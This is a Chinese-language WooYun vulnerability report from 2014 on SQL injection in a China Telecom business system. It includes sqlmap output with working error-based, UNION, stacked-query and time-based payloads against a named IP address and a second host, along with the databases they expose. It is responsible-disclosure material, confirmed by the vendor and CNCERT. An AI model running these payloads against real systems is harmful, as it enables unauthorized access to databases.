漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2014-050013
漏洞标题:中国电信某通用业务系统sql注入漏洞
相关厂商:中国电信
漏洞作者: 霍大然
提交时间:2014-01-29 10:18
修复时间:2014-03-15 10:19
公开时间:2014-03-15 10:19
漏洞类型:SQL注射漏洞
危害等级:高
自评Rank:18
漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2014-01-29: 细节已通知厂商并且等待厂商处理中
2014-02-01: 厂商已经确认,细节仅向厂商公开
2014-02-11: 细节向核心白帽子及相关领域专家公开
2014-02-21: 细节向普通白帽子公开
2014-03-03: 细节向实习白帽子公开
2014-03-15: 细节向公众公开
简要描述:
中国电信某通用业务系统sql注入漏洞
详细说明:
中国电信通信助理统一业务管理系统
用http://116.228.55.12/做案例,注入点:
http://116.228.55.12:80/clerk_communication/getdata.aspx?action=GetCity2&pcode=* (GET)
sqlmap identified the following injection points with a total of 41 HTTP(s) requests:
---
Place: URI
Parameter: #1*
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: http://116.228.55.12:80/clerk_communication/getdata.aspx?action=GetCity2&pcode=' AND 7328=CONVERT(INT,(SELECT CHAR(113)+CHAR(98)+CHAR(122)+CHAR(99)+CHAR(113)+(SELECT (CASE WHEN (7328=7328) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(102)+CHAR(98)+CHAR(118)+CHAR(113))) AND 'lduX'='lduX
Type: UNION query
Title: Generic UNION query (NULL) - 6 columns
Payload: http://116.228.55.12:80/clerk_communication/getdata.aspx?action=GetCity2&pcode=' UNION ALL SELECT NULL,CHAR(113)+CHAR(98)+CHAR(122)+CHAR(99)+CHAR(113)+CHAR(117)+CHAR(108)+CHAR(110)+CHAR(116)+CHAR(110)+CHAR(67)+CHAR(107)+CHAR(67)+CHAR(108)+CHAR(73)+CHAR(113)+CHAR(102)+CHAR(98)+CHAR(118)+CHAR(113),NULL,NULL,NULL,NULL--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: http://116.228.55.12:80/clerk_communication/getdata.aspx?action=GetCity2&pcode='; WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: http://116.228.55.12:80/clerk_communication/getdata.aspx?action=GetCity2&pcode=' WAITFOR DELAY '0:0:5'--
---
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2000
available databases [9]:
[*] Comm_Assistant_new
[*] HBSearch
[*] lumigent
[*] master
[*] model
[*] msdb
[*] Northwind
[*] pubs
[*] tempdb
另一个站:
http://mob.118114.cn/
漏洞证明:
界面不一样,但页面结构是一样的,注入点也一样,改下地址:
http://mob.118114.cn:80/clerk_communication/getdata.aspx?action=GetCity2&pcode=* (GET)
可以直接拿到数据:
再一个站:
改下另一系统IP地址:
修复方案:
统一解决
版权声明:转载请注明来源 霍大然@乌云
漏洞回应
厂商回应:
危害等级:高
漏洞Rank:16
确认时间:2014-02-01 22:51
厂商回复:
CNVD确认并复现所述多个实例情况,已经转由CNCERT直接通报中国电信集团公司处置。
最新状态:
暂无